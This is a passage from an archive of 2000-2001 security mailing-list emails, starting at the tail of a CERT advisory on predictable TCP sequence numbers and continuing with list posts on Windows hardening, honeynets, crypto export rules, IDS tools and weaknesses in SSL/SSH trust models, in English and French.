Sessions via the TCP MD5 Signature Option," August 1998. ftp://ftp.isi.edu/in-notes/rfc2385.txt 5. Thayer, R., Doraswamy, N., Glenn, R., "RFC 2411: IP Security Document Roadmap," November 1998. ftp://ftp.isi.edu/in-notes/rfc2411.txt 6. CERT Advisory CA-1995-01: IP Spoofing Attacks and Hijacked Terminal Connections http://www.cert.org/advisories/CA-1995-01.html 7. CERT Advisory CA-1996-21: TCP SYN Flooding and IP Spoofing Attacks http://www.cert.org/advisories/CA-1996-21.html 8. A Weakness in the 4.2BSD UNIX TCP/IP Software, Morris, R., ComputingScience Technical Report No 117, ATT Bell Laboratories, Murray Hill,New Jersey, 1985. ftp://research.att.com/dist/internet_security/117.ps.Z 9. Security Problems in the TCP/IP Protocol Suite, Bellovin, S., Computer Communications Review, April 1989. http://www.research.att.com/~smb/papers/ipext.ps http://www.research.att.com/~smb/papers/ipext.pdf 10. Simple Active Attack Against TCP, Joncheray, L., Proceedings, 5th USENIX UNIX Security Symposium, June 1995. http://www.usenix.com/publications/library/proceedings/security95/ full_papers/joncheray.txt 11. Newsham, T., "Guardent White Paper: The Problem with Random Increments," February 2001. http://www.guardent.com/comp_news_tcp.html 12. Zalewski, M., "Razor Paper: Strange Attractors and TCP/IP Sequence Number Analysis," April 2001. http://razor.bindview.com/publish/papers/tcpseq.html 13. Virtual Laboratories in Probability and Statistics, Random Samples Section 5: The Central Limit Theorem 14. CVE-1999-0077 15. CVE-2000-0328 16. CAN-2000-0916 17. CAN-2001-0288 18. CAN-2001-0328 19. Havrilla, J., "CERT Vulnerability Note VU#498440: Multiple TCP/IP implementations may use statistically predictable initial sequence numbers", March 2001. https://www.kb.cert.org/vuls/id/498440 _________________________________________________________________ The CERT/CC thanks Guardent, Inc. and BindView for their invaluable contributions to this advisory. We also thank all the vendors who participated in the discussion about this vulnerability and proposed solutions. We also thank the following people for their individual contributions to this advisory: * Steve Bellovin, AT&T Labs * Kris Kennaway, FreeBSD * Mark Loveless, Bindview * Tim Newsham, Guardent, Inc. * Niels Provos, OpenBSD * Damir Rajnovic, Cisco * Theo de Raadt, OpenBSD * Theodore Tso, MIT _________________________________________________________________ Authors: Jeffrey S. Havrilla, Cory F. Cohen, Roman Danyliw, and Art Manion. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-09.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History May 01, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBOu8/ewYcfu8gsZJZAQHyywP+NnCTtLUfl/3wiSERXEA5TS7v6GQzBLEQ ykDwtR3IqeHO4U6a16Ta2+hHtz85C2g0LeZ69amAKGPaAP6CUIPx+UxgZLrQUaD2 2EyEsw+TupWd3XArkX3YIywDZeLRw6FWInT/9xyxRR2gSbVFzjfkC4u3v0SvBwO2 44CQY1lI6bk= =aPms -----END PGP SIGNATURE----- ====================================================================== ========================================================= Les serveurs de référence du CERT-Renater http://www.urec.fr/securite http://www.cru.fr/securite http://www.renater.fr ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 151 bd de l'Hopital | fax : 01-53-94-20-41 + + 75013 Paris | email: certsvp@renater.fr + ========================================================= ----- End forwarded message ----- Approved-By: Russ.Cooper@RC.ON.CA MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Date: Fri, 30 Mar 2001 15:27:47 -0800 From: Phil Cox Subject: Hardening Windows 2000 document v1.0 Comments: To: Focus on Microsoft Mailing List , WIN2KSECADVICE@LISTSERV.NTSECURITY.NET To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM All, I have finally condensed chapter 21 of my book in to a paper about hardening Win2K. I hope this proves helpful. There is a link to download the pdf on http://www.systemexperts.com/win2k.shtml It is different than Stephan Norberg's, in that it is not specific to a bastion host, but goes through the steps to harden a system to just about any level you want. Also since it is a more "general" document, I am sure that there will be many suggestions and disagreements. I will do my level best to make this a living document, and make regular version updates. Also, I have gotten a couple of Security Configuration Manager "inf" files, and as I get more (or make them) for specific host configurations, I will make a "zip" file of them. As with all things from the net, please do understand what you get. Take a look through the "inf" files before you use them, and always test them on a non-production system first. Phil ---------------------------------------------------------------------------- Delivery co-sponsored by BindView Corporation ============================================================================ Are your security practices adequate enough to protect you from hackers and crackers? How do you provide remote access to your users, enable e-mail messaging, Internet sites and e-commerce activity, and at the same time maintain security? Can you implement and administer the effective security measures you need without doing battle with the people who need access to your network? Download FREE the latest Hurwitz Group Report, Management Controls: Security Impact of IT Administration at Approved-By: Russ.Cooper@RC.ON.CA MIME-Version: 1.0 Date: Sun, 22 Apr 2001 20:20:45 -0500 From: Lance Spitzner Subject: "Know Your Enemy: Honeynets" and S-ot-M To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Know Your Enemy: Honeynets -------------------------- For several years the Honeynet Project has been developing the Know Your Enemy series, which is dedicated to the tools, tactics and motives of the blackhat community. We are excited to announce our newest release, Know Your Enemy: Honeynets Instead of focusing on blackhats, this paper focuses on Honeynets, our primary tool of information gathering. Specifically what a Honeynet is, its value, how to build one, and risks/issues involved. You can find this online at http://project.honeynet.org/papers/honeynet/ Scan of the Month ----------------- Results for April's Scan of the Month have been released. Learn some of the common tools and tactics used by blackhats once they attack and compromise an NT server. We had 23 submissions this month, with an average of 9 hours of analysis for each submission. http://project.honeynet.org/scans/scan14/ Thanks! -- Lance Spitzner http://project.honeynet.org From: Francis Dupont To: sec@ossir.org Subject: la crypto > 64 bits retiree de l'accord de Wassenaar Date: Thu, 15 Mar 2001 21:55:18 +0100 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Resent-From: sec@ossir.org X-Mailing-List: archive/latest/4604 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 901 X-Status: $$$$ Dans une discussion à propos d'AES dans la list IPsec de l'IETF (faut-il le rendre l'AES obigatoire - est qu'il y a un pb d'exportation - ...) quelqu'un affirme que la restriction aux clés de 64 bit a été supprimée ! Le contexte : - l'accord de Wassenaar réglemente l'exportation des armes et des technologies à double usage (civil et militaire). cf: http://www.wassenaar.org/ - cet accord a valeur de traité (donc peut rajouter des limites supplémentaires, d'ailleurs le projet de loi fait allusion à ça) - l'accord a été mis à jour à la suite d'une réunion cf: http://www.wassenaar.org/list/Summary.html - l'accord classifiait la crypto symétrique avec des clés de plus de 64 bits comme technologie à double usage, ceci a été supprimé cf http://www.wassenaar.org/list/Cat%205P2%20-%2099.pdf (le point d du 5.A.2) Quelqu'un en sait-il plus? Francis.Dupont@enst-bretagne.fr Date: Tue, 13 Mar 2001 19:46:31 +0100 To: sec@ossir.org, nt-securite@ossir.org From: Laurent LEVIER Subject: Performances de 16 firewalls comparées Mime-Version: 1.0 Resent-From: nt-securite@ossir.org X-Mailing-List: archive/latest/777 X-Loop: nt-securite@ossir.org Resent-Sender: nt-securite-request@ossir.org Content-Length: 827 X-Status: $$$$ Messieurs, J'avais vu dernierement des demandes en ce sens. Voici une URL interessante: http://www.idg.net/ic_473844_1794_9-10000.html Il s'agit d'une comparaison de firewall commerciaux: Cisco's PIX 525; Check Point's Firewall-1; Computer Associates' eTrust; CyberGuard's KnightStar; Enternet's Enternet Firewall; Lucent's Brick; NetScreen's NetScreen-100; Network-1's CyberwallPlus; Network Associates' WebShield; Novell's BorderManager; Nokia's IP650; Secure Computing's SideWinder; SonicWall's SonicWall Pro VX; Symantec's Raptor; TopLayer's AppSwitch 3500; WatchGuard's Firebox II. Laurent LEVIER IT Systems & Networks, Unix System Engineer Security Specialist Argosnet Security Server : http://www.Argosnet.com "Le Veilleur Technologique", "The Technology Watcher" Date: Wed, 21 Feb 2001 12:03:16 +0000 From: Stephane Lentz To: le hoangan charlie Cc: sec@ossir.org Subject: Re: Anti-Virus sur FreeBsd Message-ID: <20010221120316.A7822@nickfury.netfr.alcatel.fr> Reply-To: Stephane.Lentz@ansf.alcatel.fr Mail-Followup-To: Stephane Lentz , le hoangan charlie , sec@ossir.org Mime-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: <3A938CE0.5957BC5B@acetiming.com>; from le hoangan charlie on Wed, Feb 21, 2001 at 10:39:44AM +0100 Organization: Alcanet International Resent-From: sec@ossir.org X-Mailing-List: archive/latest/4471 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 921 X-Status: $$$$ En voici : http://members.es.tripod.de/virusattack/antivirus/freebsd.htm http://www.decros.cz/~reho/check_virus/ http://www.freebsd-fr.org/archive-mail/msg00856.html http://www.sophos.com/products/antivirus/savunix.html http://www.amavis.org/ SL/ On Wed, Feb 21, 2001 at 10:39:44AM +0100, le hoangan charlie wrote: > Bonjour, > Je cherche à installer un Anti Virus sur FreeBsd, Pouvez vous me > donner des pointeurs ? > Merci. > > PS: Je m'étais desinscrit de la liste sur un coup de tête et je me suis > remis à lire les différentes questions et réponses, après avoir reçu > des messages me convaincant qu'il faut continuer (en français en plus). > > -- > Le Hoangan Charlie -- -- Stephane Lentz - Internet Services / Alcanet - Stephane.Lentz@alcatel.fr for B2B DHCP DNS HDLC and other acronyms check http://webopedia.internet.com/ ou allez sur http://www.olf.gouv.qc.ca/ressources/internet/index/index.htm From: Laurent DAVERIO Reply-To: Laurent DAVERIO Subject: ShareSniffer To: respinfo@cc.ensmp.fr Cc: vmazenod@libertysurf.fr Mime-Version: 1.0 Content-Md5: wFHWC9CTNNovUDdiBGicIA== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc Content-Transfer-Encoding: 8bit X-Mime-Autoconverted: from QUOTED-PRINTABLE to 8bit by paris.ensmp.fr id f1RDRdK08506 X-Loop: respinfo@paris.ensmp.fr X-Sequence: 481 Content-Length: 641 X-Status: $$$$ Si, si, c'est authentique. Garez vos PC ! Napster alternative: hack people's hard drives http://www.theregister.co.uk/content/8/17188.html -- Laurent DAVERIO Centre de Recherche en Informatique de l'École Nationale Supérieure des Mines de Paris (CRI-ENSMP) 35, Rue Saint-Honoré 77305 FONTAINEBLEAU CEDEX FRANCE Tel: (+33|0) 1.64.69.48.37 Fax: (+33|0) 1.64.69.48.47 E-mail: laurent@daverio.net http://daverio.net/ La Page Trad : http://trad.org/ X-Coding-System: nil Mail-from: From smtp-fr-owner@cru.fr Fri Mar 2 10:05 MET 2001 Date: Fri, 2 Mar 2001 10:05:16 +0100 From: Jacques Beigbeder To: sympa-fr@cru.fr, smtp-fr@cru.fr Subject: amavis, sympa et les virus Message-ID: <20010302100516.A13216@trefle.ens.fr> Mime-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i X-Loop: smtp-fr@cru.fr X-Sequence: 447 List-Help: List-Subscribe: List-Unsubscribe: List-Post: List-Owner: List-Archive: Content-Length: 454 X-Status: $$$$ Si d'aucuns sont intéressés par l'outil amavis, des statistiques, quelques réflexions basées sur mon expérience: http://www.spi.ens.fr/beig/amavis/ -- Jacques Beigbeder | Jacques.Beigbeder@ens.fr Service de Prestations Informatiques | http://www.spi.ens.fr Ecole normale supérieure | 45 rue d'Ulm |Tel : (+33 1)1 44 32 37 96 F75230 Paris cedex 05 |Fax : (+33 1)1 44 32 20 80 X-Coding-System: nil Mail-from: From irigoin@cri.ensmp.fr Fri Jan 26 09:12 MET 2001 Message-Id: <200101260810.JAA18022@champeaux.ensmp.fr> Date: Fri, 26 Jan 2001 09:10:40 +0100 (MET) From: Francois IRIGOIN Reply-To: Francois IRIGOIN Subject: 19264 IN SEARCH OF A BUG-FREE COMPUTER 01.26.01 To: all@cri.ensmp.fr Cc: huberman@cc.ensmp.fr, ml@cri.ensmp.fr MIME-Version: 1.0 Content-MD5: uUblyAJGpAiT1MSXuMUs0g== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.3.5 SunOS 5.7 sun4u sparc Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by antares.enst-bretagne.fr id JAA14835 Content-Length: 5938 X-Status: $$$$ ------------- Début message réacheminé ------------- IN SEARCH OF A BUG-FREE COMPUTER 01.26.01 FEATURES AND COMMENTARY HPCwire ============================================================================== San Jose, CA ­- It is common to all computers, regardless of make, operating system or age. It lurks everywhere from the humble home PC to spacecraft that navigate the Martian atmosphere. It's the bug, glitch or bomb ­ the system crash that brings down the whole works, frustrating users, raising costs, reinforcing doubts about the overall reliability of technology in the 21st century. After years of working alone on the problem, high-powered minds from academia, government and the private sector are putting aside competitive concerns and banding together to work on creating bulletproof computer systems. "We're willing to put a lot of information on the table and share it on the theory that high tide raises all ships," said Richard DeMillo, Hewlett-Packard Co.'s chief technology officer. "If we can bring up the level of dependability in the industry, then we all win." The High Dependability Computing Consortium, announced in December, held its first workshop this month to chart a course for stomping out bugs that affect everything from air traffic control to office networks. Initially funded with a $500,000 NASA grant and led by Carnegie Mellon University, the group includes industry heavyweights such as HP, IBM Corp. and Microsoft Corp. After 2½ days of discussions, participants agreed reliable computing must be a priority. "High dependability is something that cuts across a lot of what companies do," said David Garlan, a computer science professor at Carnegie Mellon. "It's not their main line of business, but they need it. In some sense, sharing that is less threatening than sharing some proprietary feature." In the past, most discussion of fail-safe systems focused on national defense and nuclear power plants. But with the explosion of e-commerce and networked business databases, the entire high-tech industry is taking notice, said Garlan.The economic costs of computer crashes and downtime are staggering,though companies aren't eager to reveal the scope of the problem. "Most view reliability issues as dirty laundry," said Dale Way, who led Y2K research for the Institute of Electrical and Electronics Engineers. "A lot of organizations have methods of reacting when things fail and keeping it in-house ... It's serious and expensive, but it's buried inside the cost structureof organizations." In June 1999, a 22-hour outage on the Internet auction site eBay cost the company $3.9 million in lost fees. Sometimes, more than dollars are at stake. In December, officials at San Francisco International Airport halted installation of a new ground radar system after tests showed it was tracking airplanes that weren't there. And national pride took a hit in 1999 when human and software glitches doomed both of NASA's Mars spacecraft ­ just as they were about to begin their missions at the Red Planet. One cost $125 million; the other $165 million. "Both people in government and industry know we could do much better," said Microsoft researcher Jim Gray, who leads the company's San Francisco lab. "We're doing the best we can with the technology we have, but there must be a better way." Computers and software as aware as HAL in the movie "2001: A Space Odyssey" or as reliable as the post office won't be available anytime soon, but some obvious steps can be taken in the near future to improve technology. The biggest problem is that high quality is not always designed into software from the start. Garlan believes software developers should think and work more like engineers ­ who incorporate the lessons of failed bridges and buildings into future designs. "All the things that you would find in a mechanical system would apply to software systems," DeMillo said. "The appeal here is to build that set of engineering principles and build that culture of learning from failure and making sure it doesn't happen again." Beyond learning from spilled milk, computer system developers should try to understand the ecosystems in which their programs operate ­ and how humans can thwart the software, DeMillo said. In 1996, America Online went offline for more than 19 hours when new hardware was being added to the system while new software was being downloaded. When the upgrade was finished, nothing worked. "This was probably the first time in the Internet world anyway that we had seen this particular combination of events," DeMillo said. "You now know that you don't change four or five things at the same time." Consortium partners also will develop ways to simulate how software works before it is deployed, much like how airplanes are tested by computers before they take flight. New techniques also are being explored that will give computers the ability to heal themselves. "Self-evolving systems could adapt on the fly and have the mechanism so that you can be sure the changes you make aren't going to bring the whole thing down," Garlan noted. Sometimes, it's more cost effective to bite the bullet and rewrite code that has been recycled over the years, Garlan said. Both Apple's and Microsoft's next generation operating systems, scheduled to be released this year, are abandoning old code in favor of programming that originated in the business world and has been proven to work well. That's a good start, said Gary Chapman, director of the 21st Century Project at the University of Texas at Austin. "It's surprising that there hasn't been more of a sense of outrage and calls for reform on the part of consumers," he said. "There's a kind of rumbling out there that people are pretty annoyed with computers these days." ------------- Fin message réacheminé ------------- Date: Fri, 22 Dec 2000 13:15:21 -0500 Reply-To: "Richard M. Smith" From: "Richard M. Smith" Subject: CERT's ActiveX security report To: BUGTRAQ@SECURITYFOCUS.COM Content-Length: 607 X-Status: $$$$ Hello, This past summer, CERT sponsored a two-day workshop on security issues with ActiveX controls. The final report was just released today and is available as a PDF file at the CERT Web site: http://www.cert.org/reports/activeX_report.pdf There is a lot of good information in the report about how individuals and organizations can reduce security risks in Internet Explorer when using ActiveX controls. In addition, there is a section aimed at software developers on how to create safer controls. A good bit of the technical information in the report has not been made public before. Richard Le site du projet : http://project.honeynet.org/ X-Coding-System: nil Mail-from: From owner-bugtraq@SECURITYFOCUS.COM Thu Dec 21 20:56 MET 2000 Approved-By: beng@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <200012211520.QAA19665@hw1464.wdf.sap-ag.de> Date: Thu, 21 Dec 2000 16:20:03 +0100 Reply-To: mrex@sap-ag.de From: Martin Rex Subject: Re: "The End of SSL and SSH?" X-To: perry@PIERMONT.COM To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <877l4w5lzq.fsf@snark.piermont.com> from "Perry E. Metzger" at Dec 19, 0 01:01:13 pm Content-Length: 5779 X-Status: $$$$ Perry, Perry E. Metzger wrote: > > Kurt Seifried in an article on SecurityPortal shrilly entitled "The > End of SSL and SSH?" claims that SSH needs a PKI to be secure. I don't like the general bashing of SSH and SSL either, however there are grains of truth in those articles. The problem is not with the protocols SSH or SSL itself, but with the environments these protocols are used in *today* or bad combinations of these protocols with others. (1) the significance of a secure key storage. SSL: All Web-Browsers that I know keep Root-CA certificates in software and it is quite possible for software to modify Root-CA certs or to add new Root-CA certs, which subverts the whole PKI trust model. Modifying this storage is not that difficult, given the doors and bugs in Javascript, Java, ActiveX and Browser plugins. And the more application vendors move over to using Web-Browsers as frontends, the more (signed) general-purpose lauch pads will be installed and used. SSH: With SSH the known_hosts file is kept in the home directory of the user and it only protected by means of the underlying OS. On multi-user machines or with homes in network file systems (like NFS), this OS-protection might be extremly weak, especially on computers under central administration in large companies. (2) the significance of secure key distribution SSL: Web-Browsers area shipped with >100 preconfigured CA certs these days. Most Browsers can be downloaded via the Internet, but many of the distributions are still not signed -- how do you know they haven't been backdoored with additional Root-Certs? SSH: building up a known_hosts file by connecting new hosts and having the added after acknowledging SSH's warning is very common. Quite a lot of people go to IETF meetings without their own Laptop (me 2, I don't have a Laptop). How many of them use SSH on a public PC in the terminal room to dial into one of their own machines? How many of them do bring their own known_hosts with them? (3) the significance of correct protocol usage SSL: Many online shops on the Web only perform payment via HTTPS (SSL), catalogue browsing and filling the shopping cart is often done via plain HTTP. The HTTPS link for the payment is not typed in by the user, but it is a simple HREF, GET or POST of an HTTPS URL, served in an unprotected document -- which can be subverted. It's much easier to MITM the HTTP channel that serves the document with the HTTPS url that to MITM the actual HTTPS channel. SSH: If SSH is used to replace telnet among hosts, but the home directories are still shared via NFSv3, then it might be quite simple to succeed an SSH authentication... Still, the use of SSH will reduce the amount of plaintext passwords travelling the networks through telnet sessions. The general problem is normally, that security is only as good as the weakest link in the chain. In many places one will find SSL and/or SSH in long chains of legacy systems. Even though SSL and SSH are among the strongest links in that chain, they will not make up for the weak links. One of the features of SSH and SSL is that they can be used for Single Sign-On. In fact, they are used in such a fashion and are becoming more and more popular for this feature (as are other SSO-systems such as Kerberos or Microsoft's NTLM). In the presence of weak legacy systems/protocols, the Single Sign-On turns into a "Single Break-In", i.e. one hole in a large network of SSO-enabled machines may give me access to all of them, in spite of the quality of the SSO authentication protocol against brute-force guessing. This affects SSL in Web-Browsers, Kerberos if you happen to find a valid credential cache, SSH if you happen to find the socket to a working ssh-agent or X11-forwarding. What I don't like about X.509-based PKIs is that they are growing in the direction of insecurity, i.e. when you expand your trust you add new risks = you lower your security. If a single trusted CA gets subverted, you loose. With PGP/GPG-style "certificates" it would be possible to increase the security. You could require a certificate to carry several signatures from different authorities in order to be valid. Subverting a single signing authority (CA) wouldn't immediately subvert all your systems. One final problem with HTTPS (a particular use of SSL) is, that the servers are never acutally authenticated, they're only identified. There is a simple plausibility check of a FQDN against the CN= part of the subject distinguished name. (1) The signing CA is irrelevant as long as it is among the set of >100 CAs preconfigured in the Browser. Will you feel comfortable when your bank's server identifies with a certificate from a foreign CA you've never heard of before? (A CA that sneaked in with a previous browser update, or even with a previous OS service pack!). Your Browser will give you the same warm fuzzy illusion of security! (2) domain abiguity: There is no obvious difference between www.openssl.org and www.openssl.de for all casual humans. However the domains are owned by different organizations! How do people come up with URLs for Online shops? Quite often by guessing the second level domain and then cycling through the known TLDs. This is not exactly secure. And then there are those numerous domain name disputes. There have been quite many domains transferred. I don't know whether any of the CAs closely tracks domain name ownership once they've issued a server cert, but as far as I know, my web browser doesn't check CRLs to see whether server certs have been revoked by the issuing CA. -Martin X-Coding-System: nil Mail-from: From owner-bugtraq@SECURITYFOCUS.COM Fri Dec 22 02:32 MET 2000 Approved-By: beng@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Message-ID: <200012212159.IAA24192@caligula.anu.edu.au> Date: Fri, 22 Dec 2000 08:59:05 +1100 Reply-To: Darren Reed From: Darren Reed Subject: Re: "The End of SSL and SSH?" X-To: mrex@sap-ag.de To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <200012211520.QAA19665@hw1464.wdf.sap-ag.de> from Martin Rex at "Dec 21, 0 04:20:03 pm" Content-Length: 1277 X-Status: $$$$ In some mail from Martin Rex, sie said: [...] > (1) the significance of a secure key storage. > > SSL: All Web-Browsers that I know keep Root-CA certificates in software > and it is quite possible for software to modify Root-CA certs > or to add new Root-CA certs, which subverts the whole > PKI trust model. No, it just subverts the implementation whereby the browser doesn't bother you if it can find a path back to a root-CA for a X.509 cert associated with whatever cert it has been given. For Netscape there is a builtin MIME type that cannot be disabled which invokes the root CA installation code. 10:1 most people would click "ok" to install a root CA if so prompted from a random web site. Now that's without even doing anything nasty. [...] > SSL: Web-Browsers area shipped with >100 preconfigured CA certs > these days. Most Browsers can be downloaded via the Internet, > but many of the distributions are still not signed -- > how do you know they haven't been backdoored with additional > Root-Certs? How do you know there is any integrity at all in those preconfigured ? What's to say that 10 of them aren't controlled by some mafia ? I'll let the conspiracy theorists goto town on that note. Darren From: GUYANNE FRANCIS Reply-To: "fguyanne@rcs.fr" To: "'sec@ossir.org'" Subject: Honey Pots & IDS Date: Thu, 23 Nov 2000 13:18:43 +0100 Organization: RCS X-Mailer: Messagerie Internet de Microsoft/MAPI - 8.0.0.4211 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by www.ossir.org id NAA25827 Resent-From: sec@ossir.org X-Mailing-List: archive/latest/4082 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 1195 X-Status: $$$$ Bonjour, Vous pouvez trouver des infos à l'URL ci-jointe: http://www.sans.org/infosecFAQ/honeypots.htm Honey Pots and Intrusion Detection David Klug September 13, 2000 CyberCop Sting by Network Associates This product is designed to run on Windows NT and is able to emulate several different systems including Linux, Solaris, Cisco IOS, and NT. It is made to appeal to hackers for looking as if it has several well-known vulnerabilities. BackOfficer Friendly by NFR This product is designed to emulate a Back Orifice server. Francis Guyanne Consultant RCS, groupe TR Services -----Original Message----- From: FoUDeCHiCk@aol.com [SMTP:FoUDeCHiCk@aol.com] Sent: Thursday, November 23, 2000 5:11 AM To: sec@ossir.org Subject: Scan ou IDS ? Bonjour, j'observe votre discution "passionnée" depuis un moment et je reste indécis devant les arguments des 2 camps. Alors je vous pose la question : dans quels cas un IDS se revèle plus efficace pour la sécurité d'un réseau qu'un scanner de vulénabilité et vice-versa ? Je souhaiterais également savoir où trouver de la documentation sur les honeypot. Merci X-Coding-System: nil Mail-from: From nt-securite-request@ossir.org Thu Nov 23 19:41 MET 2000 Resent-Date: Thu, 23 Nov 2000 19:36:03 +0100 (MET) X-Authentication-Warning: www.ossir.org: list set sender to nt-securite-request@ossir.org using -f Message-ID: <028401c0557c$75087c90$aa0e33c1@mumm> From: "Patrick Chambet" To: Subject: Support présentation Sécurité Windows 2000 Date: Thu, 23 Nov 2000 19:37:38 +0100 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Resent-From: nt-securite@ossir.org X-Mailing-List: archive/latest/707 X-Loop: nt-securite@ossir.org Resent-Sender: nt-securite-request@ossir.org Content-Length: 417 X-Status: $$$$ Bonjour à tous, Le support de la présentation sur la sécurisation d'un serveur sous Windows 2000 qui a eu lieu lors de la dernière réunion du groupe Sécurité Windows NT de l'OSSIR le 9 octobre 2000 est accessible en ligne: http://www.edelweb.fr/ossir.html Cordialement, ____________________________________________ Patrick CHAMBET Edelweb SA - Groupe ON-X Consulting http://www.edelweb.fr - http://www.on-x.com X-Coding-System: nil Mail-from: From sec-request@ossir.org Tue Nov 21 10:20 MET 2000 Resent-Date: Tue, 21 Nov 2000 10:19:05 +0100 (MET) X-Authentication-Warning: www.ossir.org: list set sender to sec-request@ossir.org using -f Message-ID: <3A1A3DD4.9BE727DE@univ-tlse1.fr> Date: Tue, 21 Nov 2000 10:18:12 +0100 From: Fabrice Prigent Organization: Université Sciences Sociales X-Mailer: Mozilla 4.75 [fr] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: Denis Ducamp CC: sec@ossir.org Subject: Re: Detection d'intrusion Content-Transfer-Encoding: 8bit Resent-From: sec@ossir.org X-Mailing-List: archive/latest/4059 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 2361 X-Status: $$$$ Denis Ducamp a écrit : > > Il s'agit du meilleur logiciel de détection d'intrusion à mon avis. Ses > points faibles sont : ... > Ses points forts sont : > ... Nous utilisons Snort avec satisfaction depuis 2 mois. Je lui ferais cependant quelques reproches : 1) il travaille avec une variable de réseau interne et externe. Pour peu que le réseau soit, comme le notre, composé de 10 classes C non "regroupables", on est obligé de faire quasiment 1 base de signatures par réseau protégé : la taille du processus et la CPU utilisée deviennent alors conséquentes : 35 Mo de RAM (au lieu de 3,5 Mo) 50% de la CPU d'un pentium 166 sur une liaison 4 Mb/s - Celà devrait se corriger avec la future version qui devrait autoriser de mettre plusieurs définitions de réseau pour 1 meme variable - de plus on peut considérer que les alertes ne doivent pas faire attention à la notion d'interne et d'externe, mais on se trouve alors face à un nombre de fausses alertes très conséquentes. 2) Nous connaissons au moins 2 bases de signatures d'attaques : a) celle de http://www.snort.org/snort-files.htm#Rules (900 règles) b) celle de http://whitehats.com/ids/ (450 règles) Mais si elles s'inspirent l'une de l'autre, elles n'ont pas les memes definitions. le SCAN SYN-FIN est référencée par whitehats avec un numéro IDS permettant d'avoir une page d'explication, mais dans celle de snort, le SCAN SYN-FIN n'en n'a pas. Moralité on obtient des doublons inutiles. 3) les signatures bougent assez lentement (1 fois tout les 15 jours au plus rapide) ce qui n'est peut-etre pas assez réactif. A nous peut-etre d'améliorer la chose en aidant les développeurs ? Malgré ces petits défauts, c'est un excellent outil d'IDS (il nous a permis de repérer 2 intrusions réussies et de faire corriger 5 serveurs) et permet aussi de voir les trafics que ne peuvent voir les outils de mesures standard (Gnutella, Napster et autres protocoles à ports variables....). Il est assez simple d'installation et d'utilisation (sous un linux du moins) et des outils tels que snortsnarf viennent le compléter. -- Fabrice Prigent Administrateur reseau Tel : +33 5 61 63 36 93 Fax : +33 5 61 63 37 98 Bureau : 46 bis http://cache.univ-tlse1.fr/les.personnes/fabrice.prigent Universite des Sciences Sociales Place Anatole France 31042 Toulouse FRANCE X-Coding-System: nil Mail-from: From sec-request@ossir.org Mon Nov 6 12:44 MET 2000 Resent-Date: Mon, 6 Nov 2000 12:39:33 +0100 (MET) X-Authentication-Warning: vangogh.prism.uvsq.fr: thb set sender to thb@vangogh.prism.uvsq.fr using -f To: sec@ossir.org Subject: [comp.sys.sun.announce] SN Vol 12 #2 2737 Crypto Accelerator I -- PCI-Bus-Based SSL Accelerator Board From: Thierry Besancon Organization: PRiSM Date: 06 Nov 2000 12:37:32 +0100 Message-ID: User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.4 MIME-Version: 1.0 Resent-From: sec@ossir.org X-Mailing-List: archive/latest/4031 X-Loop: sec@ossir.org Resent-Sender: sec-request@ossir.org Content-Length: 4034 X-Status: $$$$ [1 